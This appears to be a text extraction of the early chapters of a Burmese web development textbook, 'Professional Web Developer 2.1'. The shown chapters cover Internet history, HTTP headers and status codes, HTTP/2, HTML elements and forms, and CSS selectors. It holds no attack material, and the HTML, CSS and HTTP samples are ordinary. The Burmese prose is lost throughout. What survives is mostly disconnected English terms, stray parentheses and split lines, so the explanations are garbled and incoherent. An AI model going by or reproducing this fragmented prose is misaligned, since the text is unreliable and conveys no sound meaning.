You are on page 1of 516

Professional Web Developer

2.1


Fairway Web

Web Standards, HTML5, Ajax, PHP, jQuery


Professional Web Developer

[ pwdbook.com ]

Professional Web Developer


2.1

Copyright 2015, Ei Maung, Fairway Web Development.

License - CC-BY-NC-SA
This document, Professional Web Developer 2.1 by Ei Maung is licensed under a
Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License.
This document is free to share, copy, distribute and transmit. And, also allow to remix or
adapt to this document. But, you must attribute the work in the manner specified by
the author or licensor (but not in any way that suggests that they endorse you or your
use of the work). And, you may not use this work for commercial purposes. If you alter,
transform, or build upon this work, you may distribute the resulting work only under the
same or similar license to this one.
For any reuse or distribution, you must make clear to others the license terms of this work.
THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE
OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENSE OR COPYRIGHT
LAW IS PROHIBITED - http://creativecommons.org/licenses/by-nc-sa/3.0/legalcode


10

13

() Web Standards

27

() HyperText Markup Language HTML

50

() Cascading Style Sheets CSS

95

() JavaScript

Web Technology

Internet, Web, W3C and HTTP

Semantic Data Structure (or) The Root of Everything

The World without CSS is Ugly

It's All about DOM Though

125

() JavaScript Frameworks

139

() jQuery

175

() Server-side Programing Languages

189

() PHP Basic

242

() PHP and MySQL

300

() Controlling the Environment

325

() Ajax with jQuery

347

() Content Management System CMS

It's a Framework. No, It's just a Library.

Write less, do more

From CGI to Node.JS

XAMPP, Form Handling and Cookie/Session Management

Database Driven Web Applications

PHP and Apache Settings including URL Rewrite

A New Approach to Web Applications

Creating and Managing Websites? Just Piece of Cake.

Professional Web Developer

369

() Model-View-Collection

387

() HTML5

422

() Web Services

432

() RESTful URL

437

() Mobile Web

452

() Web Application Security

472

() Performance Optimization

482

() Tools and Utilities

497

502

()

509

()

Let's Write Maintainable Code

Dream Come True for Web Developers

You Don't Have to Do That By Yourself

Everything is Representable Already. But How about More?

99 Problems, But Mobile Ain't One.

Prepare Yourself. Bad Guys are Everywhere.

Best Practices for Speeding Up Your Web Site

Be Comfortable with Your Gears

Catching Up with the Technology

Everything You Know about Open Source is Wrong

Picking a Web Hosting

Professional Web Developer



Web Developer


Cloud, Big Data, Social Media, Machine & Machine Communication,
Mobile Internet Web Application Development Knowledge
Professional Web Developer

Professional Web Developer

There are always two types of programmers. Those who understand the web and those who
don't. And than there is a third type of programmer. Those that seem to understand the web, but
don't. Being third at anything is not fun! The journey from this third type of programmer to the
one that can fully grasp the potential of the web can not be achieved without having a great
foundation in core web concepts.
And this is why, and this is truly why I think this new book from Ko Ei Maung would be a
wonderful contribution to make the web a smart and snappy place from our corner of the world.
As a firm believer in the web and web technologies, I could not be more pleased. This book
espouses all the concept and core undertakings every web developer should come to terms with.
It is a foundation that every CTO and Project Manager wish they had both the time and energy to
explain over and over again to their teams and to their recruits.
Having such nuggets of knowledge in book form means that educators and entrepreneurs will be
freed from teaching and training foundation materials, there by allowing them to focus more on
what matters most. What matter most is creating more and more people that can learn more
new technologies. Technology in general and the service sector in particular is what economist
like to call "Tertiary Economics". The third wave of economic growth. As a country we are at the
edge of this phase of growth; a nation that is giving smart people a chance to use their
intellectual talent and skills in it's economic growth. This is such a book that aims to make that
happen in small steps towards the larger goal of making the knowledge industry a first class
citizen.
But this is not the only reason I find this book timely. Over the last five years the web has been
seeing the largest and most rapid growth in it's history. A plethora of new technologies like dart
and asm.js, node and backbone, angular and ember and the list of endless new frameworks from
the micro to the behemoths has come out. Each one of them as interesting and useful as the
other. Which one do we choose for our next project? Only when we truly under the core web
technologies will be able to arrive at an informed and valid choice. This book than will go a long
way in doing just that and more.
May you all love the web.

Ravi
COO, Geo Mandalar Investment & Technology
CTO, NovaSteps Technologies

Professional Web Developer ( )

( )
( )






(MCPA Professional Series)




Professional Web Developer ( )

( )

Web Developer





( )

Professional Web Developer

Web Development

Programming Programming
Programmer
Programming Language

Programming Web Development Web



Junior Web Developer



Senior Web Developer

. Web Developer Desktop, Mobile, Game, Database Software

Developer Software Development


Web
Web

. Team Leader CIO/CTO Software Development


Web
Development Plan
Developer

Professional Web Developer

Version 2.1
() () HTTP/2
HTML5

Version 2.1
Full Stack Developer Software Developer Software
Process Management, Project Management, Architecture Design, Server Administration


Linux OS Developer Ubuntu Linux
Rockstar Developer
Process Management, Project Management Architecture Design

Ubuntu Linux Rockstar Developer

Fairway Web

Professional Web Developer

10


Web Technology

Professional Web Developer ()


"
"

Web Development

Web
Developer



Web
Development Shortcut

Self-Study

Software Development
Business Solution, Personal Productivity App, Communication
Software, Game Software Desktop, Tablet, Smartphone Software
Device Software
Distributed Software Distributed Software Client, Server Communication Protocol

Professional Web Developer

11

Client Native Client Web Client - Gmail


Gmail Desktop Computer Microsoft Outlook, Thunderbird Email Software
Software Native Client Native Client
Device Install Native Client Google Chrome, Mozilla Firefox Web
Browser gmail.com Gmail Web Browser
Client gmail.com Web Client
Mobile Device Install Native Email App Gmail Mobile
Web Browser gmail.com Web Client
Native Client Web Browser Web Client
Server HTTP
Protocol Software

Professional Web Developer

Web Developer

Web Development

(Sr. Web Developer, YuuzooNow! Pte Ltd.)

Author Email: author@pwdbook.com


Website: http://pwdbook.com

Professional Web Developer () Web Standards

13

() Web Standards
Internet, Web, W3C and HTTP

1.1

Computer
Network
Network Network
Network
()
()


ARPA (Advanced Research Project Agency)

ARPA

Joseph Licklider Man-Computer Symbiosis
Network
Licklider ARPA Information Process Office
Network

ARPANET
Network
Network Network
Packets Switching
ARPANET Packets Wwitching
JANET Network CompuServe

Professional Web Developer () Web Standards

Network

14
Private Network

Implementation Network
ARPA Satellite Network
Packets Project Robert Kahn Vint Cerf
Mask Protocol
"Internet Transmission Control Program"
Protocol Network
Network
ARPA Software
"Telecommunication Protocol/Internet
Protocol (TCP/IP)"
TCP/IP
Network

Tablet
Device .
Device Cisco
Device

World Wide Web, Email
Email World Wide Web
""
""
World Wide Web Email
Instant Messaging (IM), Internet Relay Chat (IRC), Voice Over
Internet Protocol (VoIP), Secure Shell (SSH), File Transfer Protocol (FTP)

1.2 World Wide Web (WWW)

Gopher




Gopher

Gopher
Gopher

Professional Web Developer () Web Standards

15

Gopher

CERN (The European Council of Nuclear Research Center)


Gopher CERN
Tim Berners-Lee Document Document
Hypertext Document
Document
Server Software Document Browser
Program "WorldWideWeb"

Tim Berners-Lee () WorldWideWeb Source Code




NCSA (National Center of Supercomputing Applications)
Hypertext Document Gopher Web Browser
Program Mosaic Unix Operating System
Mac Windows Version
Mosaic WorldWideWeb
Mosaic Web Browser
Corporate Project

Web
World Wide Web

Web ()

1 Hypertext Document

Web Document
Hypertext Document

Table (Image)
Form Document
Document Hyperlink Hyperlink
Document Document

2 Web Server

Web Server Web Document


Document

Web Document

Professional Web Developer () Web Standards

16

Web
Domain Name
URL (Uniform Resource Locater)
Web URL (-)

(-) URL

URL Web "" Web Resource URL


Web Developer

3 Web Browser

Web Browser Web Document Software Mosaic


Web Browser Browser
Microsoft Internet Explorer Mozilla Firefox Mosaic

Web Browser () Microsoft Internet Explorer, Mozilla Firefox,
Google Chrome, Apple Safari Opera Tablet
Android Browser, Mobile Safari Opera Mobile Mobile Browser
Web Browser
Web Browser URL Web Server
Web Server

Professional Web Developer () Web Standards

17

(-) Web Browser


Source: www.vladstudio.com/wallpaper/?how_internet_works

1.3 World Wide Web Consortium (W3C)

Web Tim Berners-Lee World Wide Web Consortium (W3C)




(MIT/LCS) DARPA
(Defense Advanced Research Projects Agency)
W3C Web Document Web Server
Web Browser Web
W3C
Google, Microsoft, Mozilla, Apple, Adobe, Opera Web

W3C Web Standards
HTTP, CGI, HTML, XHTML, XML,
SOAP, DOM, CSS, SVG, RDF
HTTP, HTML, CSS DOM

Professional Web Developer () Web Standards

18

1.4 HyperText Transfer Protocol (HTTP)

(-) URL
http:// " "
HTTP Web
Document Web Server Web Client

Web Client Web Server Software Web
Client
Web Browser Web Client Server
Native App Web Client Web Client
Request Web Server

Respond Web Client
Web Server

HTTP Client Server


Client Request

HTTP Web Client Web Server


Format GET /foo.html HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
If-Modified-Since: Tue, 26 Feb 2013 05:34:16 GMT
Request Header

GET Request Method
HTTP GET, POST, PUT, DELETE Request Method
Request Method
GET Method Server
POST Server PUT
DELETE HEADER, DEBUG, TRACK, TRACE
Request Method
Request Method Document URL URL HTTP
Version Request Header Server
User-Agent Client

Professional Web Developer () Web Standards

19


() Controlling the Environment

Request Header
Server
HTTP
Request Format Client

Browser Address Bar URL Web Browser HTTP
Request Format Server
Browser Developer Tools Tool LiveHTTPHeader Firefox
Addon

(-) LiveHTTPHeader Firefox Addon


Link: livehttpheaders.mozdev.org
Tool Client Server

Professional Web Developer () Web Standards

20

Server Respond

Server Hardware Server Software Server Hardware Server


HTTP Linux, Microsoft Windows Server Server
Operating System Run Web Document File
Physical Machine
Software Server HTTP Request Apache,
Nginx, IIS (Microsoft Internet Information Service) HTTP Web Server Software

Physical Machine Hardware Server Web Server Software Server
Email Server, FTP Server, SSH server Server
(Port Number) Request
HTTP Web Server Default Port No.
80 80 Request HTTP Web Server
Browser Address Bar URL Port No. Browser
80 Web Server Port No. Setting ()
Controlling the Environment

Web Server Request Request Header



Client
Respond Header HTTP Respond Header HTTP/1.1 200 OK
Date: Mon, 04 Mar 2013 14:03:18 GMT
Server: Apache/2.2.14 (Unix) PHP/5.3.1
Last-Modified: Sun, 03 Mar 2013 20:15:33 GMT
Content-Encoding: gzip
Content-Length: 1448
Content-Type: text/html; charset=utf-8
Respond Header Code 200 OK
Request

HTTP Status Code () (1xx) Code
(2xx) Code Request/Respond
Code (3xx) Code Redirect

Code (4xx)
Code Client Error
Code Request Error
(5xx)
Code Server Error Web Server

Professional Web Developer () Web Standards

21

Request
Code HTTP Status Code Code

200 OK Request
Code
301 Moved Permanently

Client Request
URL
Request
304 Not Modified Request Header If-Modified-Since:
Server
307 Temporary Redirect
301 Request
URL
403 Forbidden Request Client

404 Not Found Server
500 Internal Server Error Server Error

503 Service Unavailable Server Error
Code Web Server Down
Code
Status Code Wikipedia List
of HTTP Status Codes Article
Link: http://en.wikipedia.org/wiki/List_of_HTTP_status_codes
Respond Header

Respond Header Server
Content Size

Professional Web Developer () Web Standards

22

Browser Respond Header


- Browser Web Content
Cache
Respond Header Modified Date
Cache Content
Modified Date Server Content
Content

Browser Text, HTML, Image Content
Content - Microsoft Excel File Web Browser
Respond Header Content-Type Browser
Content Content
Download
Request/Respond Header
Client Server
HTTP
Web Standard

Pull Technology

HTTP Pull Technology Pull Technology Client Server


Client
Server Client
Pull Technology Server

(-) HTTP

Professional Web Developer () Web Standards

23

URL Web Development


() Client Request Server Respond
()
Pull Technology Web Application Full-Duplex
Client-Server Network Application
Real-Time Application



Application Pull Technology


Long-Polling, Web Sockets
() HTML5

Stateless Protocol

Stateless Protocol Client Server



Request/Respond State HTTP
Stateless Protocol Client Resource A Server
Resource A Client Resource B Server
Resource B Resource A
Resource B
A
A B B
State Cookie, Session
Cookie Session () PHP Basic HTTP
Pull Technology Stateless

1.5 HTTP/2

HTTP HTTP/1.1
()
Standard Version Version

HTTP/1.1 REST (Representational State Transfer)
Protocol
Client Server Machine Processable
Request/Response Header Cache
Stateless Protocol Web App
Protocol Software Protocol
HTTP/1.1 Client Server

Professional Web Developer () Web Standards

24

Web App Resource Icon


CSS JavaScript Web App
Resource () Client Server Connection ()
Server Connection () ()
Resource Client
Server Router DNS Server Proxy Server
Connection

JavaScript CSS
CSS Sprite Icon Image
Image
Data URL Inline
Resource () Performance Optimization
HTTP/2 Multiplex Client Server Connection
Resource Transfer
Resource
Connection Connection Resource
HTTP/2 HTTP/1.1
Developer
CSS Sprite Inline Image Resource

HTTP/2 Server Push Browser Web
Client Resource Cache
HTTP Pull Technology
Client Server HTTP/2
Pull Technology Server Resource
Client Cache Push Client index.html
index.html style.css app.js
Client HTTP/2 Server Resource Client
Client
Request Server Cache
Request

HTTP/2 Header Compression HTTP/1.1
Compression HTTP/1.1 Compression Content Compress
HTTP/2 Content Request/Response Header Compress

Professional Web Developer () Web Standards

25

HTTP/2 HTTP/1.1
HTTP/2 HTTP/1.1 Backward Compatible
HTTP/1.1 Software HTTP/2
HTTP Request Methods Response Status
Code Stateless HTTP/1.1
Software HTTP/2
() HTTP/1.1
SPDY
Google
SPDY HTTP/1.1 Server Push, Header Compression
Protocol Official Standard Google Chrome,
Firefox Browser SPDY Facebook, Twitter, Google Web
App SPDY HTTP/2
HTTP/2
() Internet Engineering Task Force (IETF) HTTP/2
SPDY () ()
() HTTP/2 Release Candidate
Firefox, Chrome, Internet Explorer 11, Opera Browser HTTP/2
Support HTTP/2

Web Development Course


Course ()
()
Email: eimg@fairwayweb.com
Website: http://eimaung.com/courses

Professional Web Developer () HyperText Markup Language - HTML

27

() HyperText Markup Language - HTML


Semantic Data Structure (or) The Root of Everything

HTML Web Document W3C


Document Web Document HTML Element
Text Document

(-) HTML Element


(-) HTML Element HTML Element Open Tag
Close Tag Element Content
Open Tag Attribute Close Tag Element Content Open
Tag Attribute Empty Tag
Element () Document HTML HyperText Markup
Language World Wide Web Tim Berners-Lee
() () HTML2.0

HTML 4.01

Professional Web Developer () HyperText Markup Language - HTML

28

HTML5 HTML 4.01


2.1 Semantic Web

Element Semantic Web Semantic


Web Document

Web Document
Process W3C HTML


Web Document

Document Process
Processing Power Web
Browser, Search Engine Spider Software
Web Document

Web Document
Process Semantic Document
Web Developer Web Document " "
Web Document Process
Web Document Text Document

Document
Process Document Google
Search Engine Web Browser Document
CSS Style JavaScript Element


HTML Data Structure

HTML

CSS
Style Language
Semantic Web Browser War XHTML

2.2 Browser War

Web Browser Mosaic Marc Andreessen Jim Clark


NCSA Mosaic Communications
Netscape Communications Corporation Netscape Navigator Web Browser

Professional Web Developer () HyperText Markup Language - HTML

29

Netscape Navigator Version 1.0


NCSA Sypglass Inc. Mosaic Browser
Microsoft
Mosaic Browser Internet Explorer

Microsoft Internet Explorer Mozilla Firefox


Browser Mosaic Mosaic
Netscape Navigator Mozilla Firefox Browser
Telenor Opera Web Browser
Version Opera Browser

Opera Web Standards
Developer Web Browser

Browser War
Opera Browser War Microsoft Netscape

Web Browser


Web Developer Document
Document Internet Explorer
Netscape Browser
" Browser "
Major Browser () Browser
Developer
W3C W3C Web Standard
Internet Explorer Netscape
Browser War Web Development Web Developer
Browser War Browser War
Web Document
Professional Web Developer
Web Standard Project (WaSP)
Web Standard


Microsoft Netscape W3C Web Standard
WaSP


Web Developer Web Standard

Professional Web Developer () HyperText Markup Language - HTML

30

Microsoft Mac Internet Explorer 5


Browser Web Standard
WaSP
Netscape Navigator 5
Web Standard


Wired, ESPN Website Website Web Standard
CSS Zen Garden Website
HTML CSS Website Design


Web Developer Web Design

Web Standard Mozilla Firefox
Version Google Gmail Gmail Web
Standard JavaScript DOM
Application JavaScript Web Developer
Application O'Reilly Media Tim-O'Reilly
Web2.0 Web2.0
Web Standard
Application Web
Application
Web Browser Web Standard

2.3 HTML vs. XHTML

W3C Web Standard Web Standard


Web Industry
Browser War Internet Explorer
Netscape W3C Web Standard


- <font> HTML Element Web Document
<font> Element Standard
Netscape <font> Element Internet Explorer
Web Developer Document
Internet Explorer W3C
Standard

Professional Web Developer () HyperText Markup Language - HTML

31

HTML 3.0 IE Netscape


Element HTML
HTML Semantic Data Structure

Document
HTML 4.0 4.01 HTML Semantic Data
Structure HTML Web Document
Web Application
Data Structure Font Text
Format Document Browser Support
Concept Web Application

W3C HTML 4.01
Element Version HTML 4.01
Website Backward Compatibility
W3C HTML XHTML Markup Language
XHTML X eXtensible W3C
Data Model Language XML
HTML

HTML Semantic Element XHTML
- XHTML Element Tag
HTML
XHTML Element Close Tag
Close Tag
Empty Element Self-Closing Element ( <br /> <img />) Attribute Value Quote
XHTML HTML
Semantic Document Markup
Language
WaSP Web Standard Web Developer XHTML
Web Document Developer XHTML

WaSP XHTML Semantic Web Document Browser Web Standard Support
XHTML Version 1.1
Version 2 W3C
XHTML 2.0 HTML5 Web Document
Markup Language

Professional Web Developer () HyperText Markup Language - HTML

32

HTML5 XHTML HTML


4.01 Website Backward Compatible HTML5
()
HTML Element

2.4 HTML

HTML Document Document Type Declaration


HTML Document
HTML Document
Element <!doctype html>
<html>
<head>
<title>Document Title</title>
</head>
<body>
<!-- Document Content -->
</body>
</html>

<!doctype html> Document HTML Document


Document Type Declaration HTML Elements <html> Element
<html> Element Element <head>
Element <body> Element
<head> Element Document

<title> Element <title> Element Document Title
<head> Element
Element <meta> <link> <script> <style>
<body> Element Web Browser Content
<!-- --> Element
Comment Element Comment Element
Document
HTML Element Web Document File System html
Extension ( - home.html) Document Web Document
Extension Content-Type File Attribute
Web Document html Extension
html Extension Web Document

Professional Web Developer () HyperText Markup Language - HTML

33

Basic Elements

HTML Document
Text Document Text Document
Form
Hyperlink Document
Link
Document Main Heading
Sub Heading
HTML Document () Main Heading
<h1> Element <h2> Element
<h3> Element <h4> <h5> <h6> ()
Document


<p> Element

Document
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<title> - </title>
</head>
<body>
<h1> </h1>
<img src="nyomya.gif" alt=" ">
<p>



( )

</p>
<p>


( ) ( )
</p>
<h2> </h2>
<p>

</p>
</body>
</html>

HTML

Professional Web Developer () HyperText Markup Language - HTML

34

<head> Element <meta> Element


Element Document Content UTF-8 Encoding
English

<body> Element <h1> Element
<h2> Element ()
<p> Element
<img> Element <img> Element
Empty Element
Close Tag Tag Content
Attribute src Attribute Path
alt Attribute
src Path

nyomya.html File Name Web Browser

Professional Web Developer () HyperText Markup Language - HTML

35

<h1> Element <h2> Element



Document Structure Browser
<h1> Element <h1>
<h2> <h2>
Browser Size Size
Style CSS HTML "
" Element

HTML Document White Space
White space "Space" "Tab" "New Line"
HTML Document Process Web Browser
White Space Single Space

Document White Space
eimaung.com/pwd-rc/

Text Editor Notepad Editor
Line Number, Syntax Highlight, Auto Indent Text
Editor Sublime Text (sublimetext.com), Notepad++ (notepad-plus-plus.org)

Hyperlink and Anchor

Web Server Document Resource URL


HTML Document URL
Document Document Hyperlink

Document

Document
Link Hyperlink Document
Link Anchor

Link Resource External Link Document
Internal Link
External Link <a> Element Internal Link <a>
Element <a> Element href URL Attribute
Google Search External Link

Professional Web Developer () HyperText Markup Language - HTML

36

<a href="http://www.google.com/" title="Google Search">Search</a>

http://www.google.com/ URL href Attribute <a> Element


Link http://www.google.com

title Attribute
Element Attribute
Search Engine Spider
<a> Element

Attribute <a>
title Attribute Element

HTML Element

HTML Element title Attribute Web Browser

Mouse
Element title Attribute Tool Tip

URL Document Browser Window Attribute


target="_blank" Attribute
<a href="http://www.google.com/" target="_blank">Search</a>

Attribute
Web Browser Link Right Click "Open Link in New Window" Option
Link Window

Window Window
Option " Window "
Force Usability

target="_blank" Attribute


Internal Link (Anchor) Document
HTML Element ID
<h2 id="ch2">Chapter Two</h2>

<h2> Element id Attribute ID

Professional Web Developer () HyperText Markup Language - HTML

37

Document <h2> Element <h2>



ID
<a> Element Document ID
<a href="#ch2">Chapter Two</a>

<a> Element href Attribute Document Document


ch2 ID Element #ch2 # Sign

External Link Document Document Element
<a href="http://example.com/toc.html#ch2">Chapter Two</a>

example.com/toc.html Document #ch2 Element


Lists

HTML Document List Element <ul>


<ol> <ul> Unordered List Bullet
<ol> Ordered List

List <ol>
<ul>
Bullet


<ul> <ol> Element Item List Item Element <li>
Element

Professional Web Developer () HyperText Markup Language - HTML


<ol>
<li>Chapter
<li>Chapter
<li>Chapter
<li>Chapter
</ol>

38

One</li>
Two</li>
Three</li>
Four</li>


<ul>
<li>Yangon</li>
<li>Mandalay</li>
<li>Naypyidaw</li>
<li>Monywa</li>
</ul>

1.
2.
3.
4.

Chapter
Chapter
Chapter
Chapter

One
Two
Three
Four

Yangon
Mandalay
Naypyidaw
Monywa

<ol> Element List start Attribute


- <ol start="5"> 1 5, 6, 7

( )
reversed Attribute <ol reversed>
Element Attribute Attribute Name Value Attribute
Attribute Attribute Attribute Name Value
- <ol reversed="reversed"> XHTML
Value Attribute Name

Table

<table> Element Rows Columns


Table Rows Columns
Rows Table Row <tr> Attribute Rows
Columns Table Data <td> Attribute

Professional Web Developer () HyperText Markup Language - HTML


<table>
<tr>
<td>484</td>
<td>MX</td>
<td>MEX</td>
<td>Mexico</td>
</tr>
<tr>
<td>504</td>
<td>MA</td>
<td>MAR</td>
<td>Morocco</td>
</tr>
<tr>
<td>104</td>
<td>MM</td>
<td>MMR</td>
<td>Myanmar</td>
</tr>
<tr>
<td>524</td>
<td>NP</td>
<td>NPL</td>
<td>Nepal</td>
</tr>
</table>

484

MX

MEX

Mexico

504

MA

MAR

Morocco

104

MM

MMR

Myanmar

524

NP

NPL

Nepal

Table Column <td> Element


<th> Element

<table>
<tr>
<th>Code</th>
<th>ISO</th>
<th>ISO3</th>
<th>Name</th>
</tr>

39

Professional Web Developer () HyperText Markup Language - HTML

40

<tr>
<td>504</td>
<td>MA</td>
<td>MAR</td>
<td>Morocco</td>
</tr>
<tr>
<td>104</td>
<td>MM</td>
<td>MMR</td>
<td>Myanmar</td>
</tr>
</table>

Code

ISO

ISO3

Name

504

MA

MAR

Morocco

104

MM

MMR

Myanmar

Table <thead> <tbody> <tfoot> Element


<table>
<thead>
<tr>
<th colspan="4">Country List</th>
</tr>
</thead>
<tbody>
<tr>
<th>Code</th>
<th>ISO</th>
<th>ISO3</th>
<th>Name</th>
</tr>
<tr>
<td>504</td>
<td>MA</td>
<td>MAR</td>
<td>Morocco</td>
</tr>
<tr>
<td>104</td>
<td>MM</td>
<td>MMR</td>
<td>Myanmar</td>
</tr>

Professional Web Developer () HyperText Markup Language - HTML

41

</tbody>
<tfoot>
<tr>
<td colspan="4">&copy; Copyright 2013</td>
</tr>
</tfoot>
</table>

Country List
Code

ISO

ISO3

Name

504

MA

MAR

Morocco

104

MM

MMR

Myanmar

Copyright 2013
<thead> Element <td> colspan="4" Attribute
Attribute Column colspan="4"
" " Country List
Column
<tfoot> Element &copy; HTML Entitle
Symbol Ampersand
(&)
Semi-Colon (;) &copy; Symbol
HTML Entitle Symbol
&copy; Symbol Symbol

&nbsp; - [Space]
&trade; -
&reg; -
&lt; - <
&gt; - >
&raquo; -
&laquo; -
Less Than Sign ( < ) Less Than Sign
Browser < Sign Tag &lt;
&lt; < Less Than Sign Browser

Professional Web Developer () HyperText Markup Language - HTML

42

Table Layout

HTML Document Semantic Data


Structure
Document
Style Language CSS
XHTML Browser CSS Support
CSS2.1 Internet Explorer
Support
Web Developer Document Style CSS

<table> Element Document Layout

Layout Table Row Row Column


Row Column <table> Element
Document Layout Web Developer
XHTML Semantic Web Browser CSS Support
<table> Element Layout

Browser CSS Support Layout


Table Table Layout CSS Layout
<table> Element Layout

Formatting Elements

Text Format Element <b> Element


Bold <i> Element Italic Format
HTML Document

Professional Web Developer () HyperText Markup Language - HTML

43

Format Element ()
Style Detail CSS
W3C XHTML <b> <i> <s> <u> Formatting Elements
Document

Semantic Element
<strong> <em> <del> XHTML
<i>Hello, World!</i>
Hello, World!

<em>Hello, World!</em>
<i> Element <em> Element
" ?"
<em> Emphasis
( )
<i> Element <em> Element
Semantic
HTML5 <u> Element Formatting
Elements
<b> - Bold (Example)
<i> - (Example)
<s> - Strike-through (Example)
<strong> - (Example)
<em> - (Example)
<del> - (Example)
<sup> - Superscript (Example 2nd)
<sub> - Subscript (Example H2O)
<code> - Program Code (Example)
<pre> - Format HTML Whitespace
<pre> Element Whitespace
HTML Document Program Code
Element

Form and Inputs

Form HTML Document Form


Element Input Element
Text Input

Professional Web Developer () HyperText Markup Language - HTML

44

<input> Element type Attribute "text" Empty Tag


Close Tag Content
<input type="text">

Attribute value Attribute Text Input Default Value


Text Input readonly Attribute

disabled Attribute Input Mute maxlength Attribute
Text Input
<input type="text" maxlength="6">

Input Label <label> Element


<label for="fname">First Name</label>
<input type="text" id="fname">

<label> Element <input> Element <label> Element for Attribute


<input> Element id
"First Name" Label Text Input Focus
Input Element
Input
<input type="password"> Password Text Input
Star
Input
<input type="hidden"> Text Input hidden
Input Application
Hidden Input

<input type="checkbox"> Checkbox Option checked
Attribute Default Check checked Attribute
checked="checked" Attribute
Attribute Name
<input type="radio"> Radio Option checked
Attribute Default Check Radio Option

Professional Web Developer () HyperText Markup Language - HTML

45

Option Radio
Option name Attribute <input type="radio" name="gender" value="male">
<input type="radio" name="gender" value="female">

<input type="submit"> Button submit Button Form


submit Button () PHP Basic

value Attribute Text Input Default Value Checkbox Radio
Option Element Button Element
value Attribute Button Button Label <input type="submit"
value="Save">

<input type="reset"> Button reset Button Input


Button Button
Web Form Input ()
()
Button
Usability
Button
<input type="button"> Button Button
JavaScript Button

<button> Element <input type="button">


<button> Element Full Element Element Content Close Tag <button>Download</button> <input type= "button"
value="Download">
<button> Element Formatting Tag Content
- <button>Download <b>file.pdf</b></button>

Input Element Textarea Select Box
<input> Element Textarea <textarea> Element
<textarea> <input> Empty Element Full Element

Professional Web Developer () HyperText Markup Language - HTML

46

Default Value <input type="text"> value Attribute


Default Value Tag Tag
- <textarea>Default Text</textarea>
Select Box Drop-Down Box
<select> Element
<option> Element
<select>
<option
<option
<option
<option
</select>

value="1">Apple</option>
value="2">Orange</option>
value="3" selected>Mango</option>
value="4">Grape</option>

<option> Element value Attribute - Orange




(2) value Attribute
Orange value
selected Attribute Default <option> Element
selected Attribute <option> <option>
Default

HTML Form
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<title>HTML Form</title>
</head>
<body>
<h1>Form Inputs</h1>
<form>
<label for="fname">Name</label><br>
<input type="text" id="name"><br>
<label for="email">Email</label><br>
<input type="text" id="email"><br>
<label for="address">Address:</label><br>
<textarea id="address"></textarea><br>
<br>
<input type="radio" name="gender" id="male">
<label for="male">Male</label>

Professional Web Developer () HyperText Markup Language - HTML

47

<input type="radio" name="gender" id="female">


<label for="female">Female</label><br>
<br>
<label for="education">Highest Education</label><br>
<select id="education">
<option>High School</option>
<option>Bachelor</option>
<option>Post Graduate Diploma</option>
<option>Master</option>
<option>Ph.D</option>
</select><br> <br>
<input type="submit" value="send">
</form>
</body>
</html>

Form form.html File Name Browser



Professional Web Developer () HyperText Markup Language - HTML

48

Browser Element <br> Element


<br> Line Break Content Close Tag Empty Element

Conclusion

Element Text Document HTML Element


Element Element Attribute
HTML Document Web
Application
Data Structure

Professional Web Developer


Back-end Platform



Professional Web Developer

(Director, Total Gameplay Studio Ltd.)

Author Email: author@pwdbook.com


Website: http://pwdbook.com

Professional Web Developer () Cascading Style Sheets CSS

50

() Cascading Style Sheets CSS


The World without CSS is Ugly

W3C CSS Document Content Style


HTML Content Structure Content Style
CSS
CSS Style Language Proposal ()
() W3C Cascading HTML Style Sheets (CHSS)
Stream-based Style Sheet Proposal (SSP) CHSS
CSS
CSS HTML Markup Language
( - XML, SVG, XUL) CHSS H CSS

Style Language
CSS Document
Style Sheets Style Sheet Style Sheet
Cascade (Inherit) Cascading
Style Sheet
CSS Version CSS Version

CSS Level 1 HTML5 CSS3 CSS Level 3
CSS2.1
(Level 2 Revision 1)

3.1 CSS Syntax

CSS Programming Language Markup Language


Language
"<h2> Element
Bold "
"class 'note' Element Size 12 Pixels "

Professional Web Developer () Cascading Style Sheets CSS

51

- Element Style
Syntax (-)

(-) CSS
Selector, Property, Values Selector h1, p, img, li HTML Element
Property color, background, border, font-style
Style Property Values blue, 20px, bold, center Style
Value - <p> Element CSS
p {
color: green;
}

p Selector color Property green Value

3.2 CSS Selectors

CSS () Selector Element HTML


Document Style Element Select

Selector Element Selector, ID Selector Class Selector


Element Selector HTML Element Name Select HTML Element
Name CSS Select body {
background: black;
color: white;
}

Professional Web Developer () Cascading Style Sheets CSS

52

h1 {
font-size: 24px;
}
ul {
list-style: square;
line-height: 20px;
}
a {
color: yellow;
text-decoration: none;
}

body, h1, ul, a Element Name Select Element


Selector ID Selector id Attribute Element id
Select
- HTML Document Element Structure
<ul id="nav">
<li id="key-nav"> </li>
<li> </li>
<li> </li>

</ul>
<p id="highlight"> </p>
<ul id="sitemap">

</ul>
<p id="foot-note"> </p>

ul { background: pink; } Structure <ul> Element


Background <ul> Element Style
ID Select ul#nav {
background: pink;
}

( )

Professional Web Developer () Cascading Style Sheets CSS

53

#nav {
background: pink;
}

# Sign ID Selector ul#nav "ID nav



<ul> Element Select " #nav "ID nav

Element Select "
ID nav
<ul> Element Background


Structure <p> Element
id="highlight" Element p#highlight ( ) #highlight
ID Selector
Class Selector ID Selector Element class Attribute
# Sign ID Selector Dot ( . ) Class Selector
Element Structure
<p> </p>
<p class="note"> </p>
<p> </p>
<p class="note"> </p>

<p> Element class="note"


Select

p.note {
color: gray;
font-size: 11px;
}

( )
.note {
color: gray;
font-size: 11px;
}

ID Selector p.note "Class note


<p> Element Select "
.note "Class note
Element Select "
p.note

Professional Web Developer () Cascading Style Sheets CSS

54

.note

HTML Document ID Elements CSS ID Element
ID Element Identify Unique
CSS JavaScript Element ID Element
Class Element Classify
Element Class
Front-End Expert CSS Element ID Class

3.3 Slightly Advanced CSS Selectors

Selector
Selector, Child Selector, Attribute Selector

Descendant

Descendant Selector Element Element Select


Nested Selector
Document Element Class ID
Select HTML Element
Structure
<a href="#">Outside Link</a>
<p>
<a href="#">Inside Link One</a>
<strong><a href="#">Inside Link Two</a></strong>
</p>

<a> Element <p> Element


<p> Element <a> <strong> Element
<a> Element Select
p a {
color: gray;
}

p [space] a [space] Descendant Selector


"<p> Element <a> Element Select "
<p> Element <a> Element
<a> Select

Professional Web Developer () Cascading Style Sheets CSS

55

Element Structure <a> Element href Attribute URL #


Sign URL
# Sign # Sign URL
